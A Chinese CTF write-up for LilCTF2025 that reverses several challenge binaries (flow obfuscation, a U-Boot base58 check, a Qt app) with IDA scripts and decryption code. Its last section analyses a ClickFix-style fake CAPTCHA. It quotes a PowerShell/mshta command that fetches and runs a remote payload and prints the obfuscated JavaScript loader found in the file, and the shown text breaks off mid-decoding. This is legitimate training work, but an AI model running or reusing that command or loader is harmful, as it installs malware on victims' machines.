LilCTF2025 WP

Reverse

obfusheader.h

控制流混淆，题目中有给提示跟踪数据流
附件用 ida 打开之后有花指令和很多未识别成代码的数据，花指令的结构都是类似的一种

在标签处(loc_14000C392)按 U,得到

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.text:000000014000C390                 jz      short near ptr unk_14000C393
.text:000000014000C390 ; ---------------------------------------------------------------------------
.text:000000014000C392                 db    0
.text:000000014000C393 unk_14000C393   db  0Fh                 ; CODE XREF: sub_1400080A9+42E7↑j
.text:000000014000C394                 db 0B6h

在 unk_14000C393 处按 C,得到

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.text:000000014000C390                 jz      short loc_14000C393
.text:000000014000C390 ; ---------------------------------------------------------------------------
.text:000000014000C392                 db    0
.text:000000014000C393 ; ---------------------------------------------------------------------------
.text:000000014000C393
.text:000000014000C393 loc_14000C393:                          ; CODE XREF: sub_1400080A9+42E7↑j
.text:000000014000C393                 movzx   eax, cs:byte_140035046
.text:000000014000C39A                 movsx   eax, al

然后把 jz 到 loc_14000C393 位置的代码全部 nop 掉
由于有很多这种结构的花，可以选择用 ida 脚本批量修，但是我不知道为什么，不管是手修还是脚本修，全部修完之后都导致了最终动调时显示读到非法内存，动调不了，最后解决方案是一边看全部修好的反编译一边重新又修了一个能调试的，不过重新修的这个没有修完，只把 main 函数修得到了能反编译，其他的花是后面动调遇到时再去修的
ps：后来请教了其他师傅用脚本修花，贴一个 ida 脚本

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from idaapi import *
from idautils import *
from idc import *
import ida_bytes

def patch_and_reanalyze_all_functions():
    pattern_str = "74 01 00"
    replacement_str = "90 90 90"
    pattern_bytes = bytes([int(b, 16) for b in pattern_str.split() if b])
    replacement_bytes = bytes([int(b, 16) for b in replacement_str.split() if b])
    pattern_len = len(pattern_bytes)
    func_starts = []
    for func_ea in Functions():
        seg_name = get_segm_name(func_ea)
        if seg_name and seg_name.lower() in (".text", "text", "code"):
            func_starts.append(func_ea)

    print("Collected %d function start addresses in .text segment." % len(func_starts))
    print("Un-defining all functions...")
    for func_ea in func_starts:
        end_ea = get_func_attr(func_ea, FUNCATTR_END)
        if end_ea != BADADDR and end_ea > func_ea:
            del_items(func_ea, DELIT_SIMPLE, end_ea - func_ea)
        else:
            del_items(func_ea, DELIT_SIMPLE, 1)
    print("All functions have been un-defined.")
    
    text_seg = None
    for seg_ea in Segments():
        seg_name = get_segm_name(seg_ea)
        if seg_name and seg_name.lower() in (".text", "text", "code"):
            text_seg = seg_ea
            break
    if not text_seg:
        print("Error: .text segment not found!")
        return
        
    start_ea = get_segm_start(text_seg)
    end_ea = get_segm_end(text_seg)
    print("Searching for pattern in .text segment [%08X - %08X]..." % (start_ea, end_ea))
    ea = start_ea
    found_count = 0
    while ea < end_ea - pattern_len:
        match = True
        for i in range(pattern_len):
            if get_wide_byte(ea + i) != pattern_bytes[i]:
                match = False
                break
        if match:
            print("Pattern found at address %08X, patching..." % ea)
            ida_bytes.patch_bytes(ea, replacement_bytes)
            found_count += 1
            ea += pattern_len
        else:
            ea += 1
    print("Patching completed. Modified %d locations." % found_count)
    
    print("Re-creating original functions...")
    created_count = 0
    for func_ea in func_starts:
        del_items(func_ea, DELIT_SIMPLE, 1)
        if add_func(func_ea) == 0:
            print("Warning: Failed to create function at %08X." % func_ea)
        else:
            created_count += 1
    print("Function reconstruction completed. %d functions created." % created_count)

if __name__ == "__main__":
    patch_and_reanalyze_all_functions()

main 函数很长,先看到有个输入的提示语

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LABEL_75:
  *(_BYTE *)v722 = 1;
  ((void (__fastcall *)(const char *))qword_7FF79ABD54C0[*((unsigned int *)v722 + 1)])("Please enter the flag: ");
  v686 = sub_7FF79ABC1780(&v687);

然后找到读取输入的地方

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LABEL_150:
  *(_BYTE *)v710 = 1;
  ((void (*)(const char *, ...))funcs_1400247DB[*((unsigned int *)v710 + 1)])("%100s", input);

然后开始打断点动调，会发现它的读取经过一个很大的函数，是自定义的类似 scanf 的实现，测试之后知道正确的输入应该是 40 字节，输入 LilCTF{12312345678901234567890123456789} 之后找到 input 数组，点进去，给input 数组打硬件断点,设置 size 为 0x28

每次 input 发生变化时，都会触发断点，就可以据此跟踪数据流找到加密
第一处加密

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unsigned __int64 __fastcall sub_7FF6EDA37842(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 result; // rax
  int i; // [rsp+2Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = a2 >> 1;
    if ( i >= a2 >> 1 )
      break;
    *(_WORD *)(2i64 * i + a1) ^= rand();
  }
  return result;
}

找到 srand()

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// attributes: thunk
void __cdecl srand(unsigned int Seed)
{
  __imp_srand(Seed);
}

动调找出种子是 0x000000048691412(seed 对应的寄存器值)

第二处加密

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void __fastcall encode(__int64 a1, unsigned __int64 a2)
{
  int Character[36]; // [rsp+20h] [rbp-A0h] BYREF
  char v3; // [rsp+B1h] [rbp-Fh]
  char v4; // [rsp+B2h] [rbp-Eh]
  unsigned __int8 v5; // [rsp+B3h] [rbp-Dh]
  int k; // [rsp+B4h] [rbp-Ch]
  int j; // [rsp+B8h] [rbp-8h]
  int i; // [rsp+BCh] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
    v4 = 16 * v5;
    v3 = v5 >> 4;
    *(_BYTE *)(i + a1) = (v5 >> 4) | (16 * v5);
  }
  for ( j = 0; j < a2; ++j )
    *(_BYTE *)(a1 + j) = ~*(_BYTE *)(a1 + j);
  memcpy(Character, &unk_7FF6EDA65060, 0x88ui64);
  for ( k = 0; (unsigned __int64)k <= 0x21; ++k )
    putchar(Character[k]);
}

最后的 for 循环是打印出字符 Encryption done, time to compare!
模拟出加密过程，动调验证是对的
第一处

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import ctypes
import struct

input_string = "LilCTF{12312345678901234567890123456789}"
seed = 0x000000048691412

libc = ctypes.CDLL('msvcrt')  # 适用于 Windows
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
libc.srand(seed)

encrypted_bytes = bytearray(input_string.encode('utf-8'))

num_words = len(encrypted_bytes) // 2
for i in range(num_words):
    rand_val = libc.rand() & 0xFFFF
    current_word = struct.unpack('<H', encrypted_bytes[i*2:i*2+2])[0]
    encrypted_word = current_word ^ rand_val
    struct.pack_into('<H', encrypted_bytes, i*2, encrypted_word)

print("加密后的十六进制数组：")
print(", ".join([f"0x{b:02X}" for b in encrypted_bytes[:11]]))
print(", ".join([f"0x{b:02X}" for b in encrypted_bytes[11:22]]))
print(", ".join([f"0x{b:02X}" for b in encrypted_bytes[22:32]]))
print(", ".join([f"0x{b:02X}" for b in encrypted_bytes[32:]]))

第二处

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import re

def encode(a1: bytearray, a2: int):
    """
    Simulates the C++ encode function to encrypt data.
    """
    for i in range(a2):
        v5 = a1[i]
        a1[i] = ((v5 >> 4) | (v5 << 4)) & 0xFF  

    for j in range(a2):
        a1[j] = ~a1[j] & 0xFF

    return a1

hex_string_input = """
0x3A, 0x25, 0xD4, 0x3E, 0x30, 0x01, 0x83, 0x61, 0x95, 0x70, 0xF9
0x01, 0xB4, 0x53, 0xE1, 0x5F, 0x49, 0x74, 0x78, 0x51, 0x55, 0x72
0x96, 0x3B, 0x26, 0x7B, 0x9E, 0x47, 0xC0, 0x11, 0xF1, 0x6E
0x45, 0x23, 0xAB, 0x43, 0xCA, 0x39, 0x75, 0x4E
"""

# 用正则提取所有十六进制数
byte_list = [int(x, 16) for x in re.findall(r'0x[0-9A-Fa-f]{2}', hex_string_input)]
plaintext_data = bytearray(byte_list)

encrypted_data = encode(plaintext_data, len(plaintext_data))

print(" ".join([f"0x{b:02X}" for b in encrypted_data]))

接下来是找密文
在比较过程的调试时，发现 rcx (input) 中栈地址位置原本是 41 字节

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0xEE, 0x1C, 0x04, 0xA9, 0x4A, 0x58, 0x7F, 0x34, 0xBB, 0x66, 0xBC, 0x84, 0x2A, 0x65, 0x87, 0xEC, 
0x99, 0x8B, 0x39, 0x4A, 0xB9, 0xC8, 0x1A, 0x33, 0x32, 0xE4, 0x4D, 0x30, 0x68, 0x65, 0xD6, 0x68, 
0x79, 0xA8, 0xF1, 0x6B, 0xB1, 0x6C, 0x05, 0xC2, 0xDA


最后变成 rdx 中栈地址位置的 40 字节 (末尾变成 0 了)

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0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xEF, 0xC7, 0x8D, 0x01, 0xDD, 0x00, 0x39, 0x94, 0xDA, 0x47, 0x2D, 0x5B, 0x48, 0xFD, 0x8F, 0x7F, 0x0F, 0xD2, 0xFA, 0xF8, 0x2F, 0x81, 0xFD, 0xA6, 0xAA, 0x06, 0xB9, 0xAB, 0x7B, 0x25, 0xBE, 0x67, 0xBB, 0xDD, 0x1B, 0

逆向解密 exp

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import ctypes
import struct

def decrypt_with_rand(encrypted_bytes, seed):
    libc = ctypes.CDLL('msvcrt')
    libc.srand.argtypes = [ctypes.c_uint]
    libc.rand.restype = ctypes.c_int
    libc.srand(seed)

    decrypted_bytes = bytearray(encrypted_bytes)
    num_words = len(decrypted_bytes) // 2

    for i in range(num_words):
        rand_val = libc.rand() & 0xFFFF
        current_word = struct.unpack('<H', decrypted_bytes[i*2:i*2+2])[0]
        decrypted_word = current_word ^ rand_val
        struct.pack_into('<H', decrypted_bytes, i*2, decrypted_word)
    
    return decrypted_bytes

ciphertext = [
    0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xEF, 0xC7, 0x8D, 0x01, 0xDD, 0x00, 0x39,
    0x94, 0xDA, 0x47, 0x2D, 0x5B, 0x48, 0xFD, 0x8F, 0x7F, 0x0F, 0xD2, 0xFA,
    0xF8, 0x2F, 0x81, 0xFD, 0xA6, 0xAA, 0x06, 0xB9, 0xAB, 0x7B, 0x25, 0xBE,
    0x67, 0xBB, 0xDD, 0x1B
]

bytes_after_invert = [~b & 0xFF for b in ciphertext]

bytes_after_rotate = [(b << 4 | b >> 4) & 0xFF for b in bytes_after_invert]

seed = 0x000000048691412
final_decrypted_bytes = decrypt_with_rand(bytes_after_rotate, seed)

print(final_decrypted_bytes.decode('utf-8', errors='ignore'))

解出 flag 为 LILCTF{wHa7_15_D47aflOw_c@N_lt_83_3atEn}

Oh_My_Uboot

附件给的是 093631_re-u-boot.txt，重命名一下改成 uboot

uboot 全称是 Universal Boot Loader(通用引导加载程序),是一种开源的、广泛使用的嵌入式系统引导程序(Bootloader),本质是一段裸机代码.

操作系统的启动过程(Linux 启动过程为例)
[ 上电 / Reset ]
↓
[ BootROM / BIOS / UEFI ]
↓
[ Bootloader (SPL → U-Boot/GRUB) ]
↓
[ 内核加载 (Linux Kernel Init) ]
↓
[ 挂载根文件系统 RootFS ]
↓
[ init / systemd 启动服务 ]
↓
[ 用户空间 (Shell / GUI / App) ]

这道题重点在于对这个 uboot 进行调试
使用指令
qemu-system-arm -M vexpress-a9 -nographic -kernel /home/eleven/ctf/temp/uboot -S -gdb tcp::1234

回显:

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[W][03605.390307] pw.conf      | [          conf.c: 1031 try_load_conf()] can't load config client.conf: No such file or directory
[E][03605.390394] pw.conf      | [          conf.c: 1060 pw_conf_load_conf_for_context()] can't load config client.conf: No such file or directory
pulseaudio: set_sink_input_volume() failed
pulseaudio: Reason: Invalid argument
pulseaudio: set_sink_input_mute() failed
pulseaudio: Reason: Invalid argument

然后在 ida 中选择 Remote GDB Debugger

运行之后会看到回显多了

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U-Boot 2025.04 (Jul 01 2025 - 13:56:28 +0800)

DRAM:  128 MiB
WARNING: Caches not enabled
Core:  23 devices, 11 uclasses, devicetree: embed
Flash: 128 MiB
MMC:   mmci@5000: 0
Loading Environment from Flash... *** Warning - bad CRC, using default environment

In:    uart@9000
Out:   uart@9000
Err:   uart@9000
Net:   eth0: ethernet@3,02000000
Autoboot in 2 seconds
Hash sha256 not supported!
MMC Device 1 not found
no mmc device at slot 1
Card did not respond to voltage select! : -110
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (2 ms)
*** Warning: no boot file name; using '0A00020F.img'
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename '0A00020F.img'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
missing environment variable: pxefile_addr_r
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (0 ms)
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename 'boot.scr.uimg'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (0 ms)
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename 'boot.scr.uimg'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
cp - memory copy

Usage:
cp [.b, .w, .l] source target count
Wrong Image Type for bootm command
ERROR -91: can't get kernel image!
### Please input uboot password: ###

ida 这边一直显示 running，直接 Suspend 就行

然后一直 f7 步进,随便输入字符，按完回车键之后跳到了这里

点进 unk_67F71E3C，U P 之后变成函数

看到异或，反编译关键函数

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_BYTE *__fastcall sub_67F71E3C(_BYTE *a1, _BYTE *a2)
{
  int v4; // r0
  _BYTE *v5; // r3
  int v6; // r2
  _BYTE *v7; // r0
  int v8; // r3
  char *v9; // r1
  _BYTE *v10; // r4
  int v11; // r7
  _BYTE *v12; // r8
  unsigned __int8 *v13; // r10
  unsigned int v14; // r7
  _BYTE *v15; // r2
  unsigned int v16; // r3
  _BYTE *v17; // r4
  _BYTE *result; // r0
  unsigned __int8 *v19; // r11
  int v20; // r6
  unsigned __int8 v21; // r1
  char v22; // r1
  _BYTE v23[4]; // [sp+0h] [bp-90h] BYREF
  int v24; // [sp+4h] [bp-8Ch]
  char v25; // [sp+Ch] [bp-84h] BYREF

  v4 = ((int (*)(void))unk_67FC21E0)();
  v5 = a1;
  v6 = v4;
  v7 = &a1[v4];
  while ( v5 != v7 )
    *v5++ ^= 0x72u;
  LOBYTE(v8) = 48;
  v9 = &v25;
  do
  {
    *v9++ = v8;
    v8 = (unsigned __int8)(v8 + 1);
  }
  while ( v8 != 106 );
  v10 = &a2[3 * (v6 / 2) + 3];
  v11 = v6 - 1;
  v12 = v10;
  ((void (__fastcall *)(_BYTE *, _BYTE *))unk_67F5FCFC)(v10, a1);
  v13 = v10;
  v14 = (unsigned int)&v10[v11];
  while ( (unsigned int)v13 <= v14 )
  {
    if ( *v13 )
    {
      v19 = v13;
      v20 = 0;
      while ( (unsigned int)v19 <= v14 )
      {
        v24 = ((__int16)v20 << 8) + *v19;
        ((void (__fastcall *)(int, int))unk_67FC8600)(v24, 58);
        v20 = v21;
        *v19++ = ((int (__fastcall *)(int, int))unk_67FC8534)(v24, 58);
      }
      *--v12 = v23[v20 + 12];
    }
    else
    {
      ++v13;
    }
  }
  v15 = a2;
  v16 = 0;
  v17 = (_BYTE *)(v10 - v12);
  while ( (unsigned int)v17 > v16 )
  {
    v22 = v12[v16++];
    *v15++ = v22;
  }
  result = a2;
  *v15 = 0;
  return result;
}

其中的 sub_67FC21E0 是计算字符串长度的函数

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int __fastcall sub_67FC21E0(unsigned __int8 *a1)
{
  unsigned __int8 *v1; // r3
  unsigned __int8 *v2; // r2

  v1 = a1;
  do
    v2 = v1;
  while ( *v1++ );
  return v2 - a1;
}

v5 点进去是输入

加密函数先是对输入数据进行了 异或 0x72
然后是一个自定义表的 base58

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LOBYTE(v8) = 48; // 0x30 '0'
v9 = &v25;
do { *v9++ = v8; v8 = (unsigned __int8)(v8 + 1); }
while (v8 != 106); // 0x6A 'j'

字母表为 “0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi”

接着开始的汇编

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MEMORY:67F71FF0 ADD   R3, R4, #0x78
MEMORY:67F71FF4 ADD   R4, SP, R3
...
MEMORY:67F7200C ADD   R0, SP, #0x38 ; 输入缓冲区
MEMORY:67F72010 BL    unk_67F71E3C  ; 做变换（xor+base58编码）
MEMORY:67F72014 LDR   R1, =0x67FD3CB3  ; <<< 这里加载了一个常量地址
MEMORY:67F72018 ADD   R0, SP, #4      ; 输出缓冲区（存放编码后的结果）
MEMORY:67F7201C BL    unk_67FC2138    ; 调用对比函数（strcmp）
MEMORY:67F72020 CMP   R0, #0
MEMORY:67F72024 STREQ R0, [R6]

跳转到地址 0x67FD3CB3 处，找到密文5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;

CyberChef 解密

flag 为 LILCTF{Ub007_1s_v3ry_ez}

Qt_Creator

先安装，然后逆 demo_code_editor.exe
打断点动态调试发现关键函数 sub_40EE30

这部分就是密文
KJKDSGzR6`bsd5s1q`0t^wdsx`b1mw2oh4mu|

继续运行，发现在输入点击按钮之后都会立即退出
之前搜索字符串时看到 Ciallo, X 交叉引用发现函数 sub_410100

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int __fastcall sub_410100(_DWORD *a1)
{
  volatile signed __int32 *v2; // edx
  volatile signed __int32 *v3; // eax
  signed __int32 v4; // et0
  volatile signed __int32 *v5; // eax
  int v6; // edx
  signed __int32 v7; // et0
  volatile signed __int32 *v8; // eax
  volatile signed __int32 v9; // edx
  signed __int32 v10; // et0
  volatile signed __int32 *v11; // eax
  signed __int32 v12; // et0
  volatile signed __int32 *v13; // eax
  signed __int32 v14; // et0
  volatile signed __int32 *v16; // eax
  signed __int32 v17; // et0
  volatile signed __int32 *v18; // eax
  signed __int32 v19; // et0
  int v20; // [esp+0h] [ebp-58h]
  char v21; // [esp+2Ch] [ebp-2Ch]
  volatile signed __int32 *v22; // [esp+34h] [ebp-24h] BYREF
  volatile signed __int32 *v23; // [esp+38h] [ebp-20h] BYREF
  volatile signed __int32 *v24[7]; // [esp+3Ch] [ebp-1Ch] BYREF

  v2 = (volatile signed __int32 *)a1[14];
  v23 = v2;
  if ( *v2 != -1 && *v2 != 0 )
    _InterlockedAdd(v2, 1u);
  sub_40FFF0(v24, (int)a1, (int)&v23);
  ZNK9QLineEdit4textEv(&v22, *(_DWORD *)(a1[6] + 20));
  v21 = ZeqRK7QStringS1_(&v22);
  v3 = v22;
  if ( *v22 && (*v22 == -1 || (v4 = _InterlockedSub(v22, 1u), v3 = v22, v4)) )
  {
    v5 = v24[0];
    v6 = *v24[0];
    if ( !*v24[0] )
      goto LABEL_22;
  }
  else
  {
    ZN10QArrayData10deallocateEPS_jj(v3, 2, 4);
    v5 = v24[0];
    v6 = *v24[0];
    if ( !*v24[0] )
      goto LABEL_22;
  }
  if ( v6 != -1 )
  {
    v7 = _InterlockedSub(v5, 1u);
    v5 = v24[0];
    if ( !v7 )
    {
LABEL_22:
      ZN10QArrayData10deallocateEPS_jj(v5, 2, 4);
      v8 = v23;
      v9 = *v23;
      if ( *v23 )
        goto LABEL_10;
LABEL_23:
      ZN10QArrayData10deallocateEPS_jj(v8, 2, 4);
      goto LABEL_12;
    }
  }
  v8 = v23;
  v9 = *v23;
  if ( !*v23 )
    goto LABEL_23;
LABEL_10:
  if ( v9 != -1 )
  {
    v10 = _InterlockedSub(v8, 1u);
    v8 = v23;
    if ( !v10 )
      goto LABEL_23;
  }
LABEL_12:
  if ( !v21 )
  {
    ZNK11QMetaObject2trEPKcS1_i(v24, &dword_41A0B0, &unk_41BF22, 0, -1);
    ZNK11QMetaObject2trEPKcS1_i(&v23, &dword_41A0B0, &unk_41BF38, 0, -1);
    ZN11QMessageBox7warningEP7QWidgetRK7QStringS4_6QFlagsINS_14StandardButtonEES6_(a1, &v23, v24, 0x4000);
    v16 = v23;
    if ( !*v23 || *v23 != -1 && (v17 = _InterlockedSub(v23, 1u), v16 = v23, !v17) )
      ZN10QArrayData10deallocateEPS_jj(v16, 2, 4);
    v18 = v24[0];
    if ( *v24[0] )
    {
      if ( *v24[0] == -1 || (v19 = _InterlockedSub(v24[0], 1u), v18 = v24[0], v19) )
        exit(0);
    }
    ZN10QArrayData10deallocateEPS_jj(v18, 2, 4);
    exit(0);
  }
  ZNK11QMetaObject2trEPKcS1_i(v24, &dword_41A0B0, &unk_41BEED, 0, -1);
  ZNK11QMetaObject2trEPKcS1_i(&v23, &dword_41A0B0, &unk_41BF06, 0, -1);
  v20 = 0;
  ZN11QMessageBox11informationEP7QWidgetRK7QStringS4_6QFlagsINS_14StandardButtonEES6_(a1, &v23, v24, 0x4000);
  v11 = v23;
  if ( !*v23 || *v23 != -1 && (v12 = _InterlockedSub(v23, 1u), v11 = v23, !v12) )
    ZN10QArrayData10deallocateEPS_jj(v11, 2, 4);
  v13 = v24[0];
  if ( !*v24[0] || *v24[0] != -1 && (v14 = _InterlockedSub(v24[0], 1u), v13 = v24[0], !v14) )
    ZN10QArrayData10deallocateEPS_jj(v13, 2, 4);
  return (*(int (__thiscall **)(_DWORD *, int))(*a1 + 220))(a1, v20);
}

在这里面打断点继续动调，结果发现输入之后断在这里了,其中的 sub_40FFF0 就是加密函数

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_DWORD *__thiscall sub_40FFF0(_DWORD *this, int a2, int a3)
{
  _DWORD *v3; // ecx
  int v4; // eax
  _DWORD *v5; // edx
  int v6; // ebx
  int v7; // edi
  __int16 v8; // si
  int v9; // eax
  __int16 v11; // si
  int v12; // eax
  int v13; // [esp+4h] [ebp-38h]

  v3 = *(_DWORD **)a3;
  if ( *(int *)(*(_DWORD *)a3 + 4) > 0 )
  {
    v4 = 0;
    v5 = *(_DWORD **)a3;
    do
    {
      v6 = 2 * v4;
      v7 = v4 + 1;
      v8 = *(_WORD *)((char *)v3 + 2 * v4 + v3[3]);
      if ( (v4 & 1) != 0 )
      {
        if ( v4 >= v5[1] )
        {
          LOWORD(v13) = 32;
          ZN7QString6resizeEi5QChar(a3, v7, v13);
          v5 = *(_DWORD **)a3;
          v3 = *(_DWORD **)a3;
          v9 = *(_DWORD *)(*(_DWORD *)a3 + 12);
        }
        else if ( *v5 > 1u || (v9 = v5[3], v3 = v5, v9 != 16) )
        {
          ZN7QString11reallocDataEjb(a3, v5[1] + 1, 0);
          v5 = *(_DWORD **)a3;
          v9 = *(_DWORD *)(*(_DWORD *)a3 + 12);
          v3 = *(_DWORD **)a3;
        }
        *(_WORD *)((char *)v5 + v6 + v9) = v8 - 1;
      }
      else
      {
        v11 = v8 + 1;
        if ( *v3 > 1u || (v12 = v5[3], v3 = v5, v12 != 16) )
        {
          ZN7QString11reallocDataEjb(a3, v5[1] + 1, 0);
          v5 = *(_DWORD **)a3;
          v12 = *(_DWORD *)(*(_DWORD *)a3 + 12);
          v3 = *(_DWORD **)a3;
        }
        *(_WORD *)((char *)v5 + v6 + v12) = v11;
      }
      v4 = v7;
    }
    while ( v5[1] > v7 );
  }
  *this = v3;
  *(_DWORD *)a3 = ZN10QArrayData11shared_nullE;
  return this;
}

遍历一个 QString 对象的字符,偶数位字符 +1，奇数位字符 -1 (其实即使没找到加密，根据 KJKDSG 对应 LILCTF 也能总结出这个加密)
exp :

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str = "KJKDSGzR6`bsd5s1q`0t^wdsx`b1mw2oh4mu|"
flag = ""
for i in range(len(str)):
    if i % 2 == 0:
        flag += chr(ord(str[i]) + 1)
    else:
        flag += chr(ord(str[i]) - 1)

print(flag)

得到 flag 为 LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}

1’M no7 A rO6oT

打开靶机

在点击验证框时会复制得到以下内容

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powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://gz.imxbt.cn:20778/Coloringoutomic_Host.mp3   http://gz.imxbt.cn:20778/Coloringoutomic_Host.mp3 #     ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

用 curl 下载 mp3 文件
curl -O http://gz.imxbt.cn:20778/Coloringoutomic_Host.mp3

-O 参数表示使用远程文件名保存
文件会下载到当前目录
不会执行文件，只是获取文件内容

把 mp3 用记事本打开，在中间发现

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<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = 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,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>

移除 eval(),用浏览器控制台打印得到 js 源码

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SK=102;UP=117;tV=110;Fx=99;... (中间代码不变) ...CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);
console.log(SxhM);
window.close();

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function ioRjQN(FVKq){var ohyLbg= "";for (var emGK = 0;emGK < FVKq.length; emGK++){var ndZC = String.fromCharCode(FVKq[emGK] - 601);ohyLbg = ohyLbg + ndZC}return ohyLbg};var ohyLbg = ioRjQN([713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700, 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698, 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652, 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702, 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698, 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700, 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699, 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699, 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698, 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658, 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702, 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703, 655, 702, 652, 702, 652, 698, 699, 699, 655, 702, 651, 698, 654, 698, 650, 699, 653, 698, 702, 699, 657, 702, 651, 698, 703, 698, 651, 703, 655, 703, 702, 703, 700, 703, 699, 703, 699, 703, 653, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699, 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700, 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 